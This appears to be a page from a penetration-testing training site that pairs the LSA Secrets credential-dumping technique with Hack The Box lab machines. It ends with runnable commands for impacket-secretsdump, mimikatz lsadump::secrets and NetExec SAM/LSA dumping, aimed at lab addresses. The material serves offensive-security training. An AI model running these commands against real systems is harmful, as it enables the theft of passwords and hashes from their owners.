LSA Secrets
Sub-technique of T1003 OS Credential Dumping ↗
Extracting LSA secrets from the registry: service passwords, autologon and the machine account.
How it shows up on Hack The Box
secretsdump against a host where you are admin dumps SAM and LSA at once; service passwords often come out in cleartext.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides
- Windows credential dumping: SAM, LSA, LSASS, DPAPI and NTDS.dit 4 min read Where Windows keeps credentials and how to get them: SAM and SYSTEM, LSA secrets, LSASS with lsassy or pypykatz, DPAPI, and NTDS.dit with SeBackup.
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Active Directory in depth › Impacket
SAM/LSA (local admin)
Attacker
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20Mimikatz › Credentials
LSA secrets
Target
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"NetExec (nxc) › As an administrator
SAM and LSA
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b --sam --lsaNo command matches.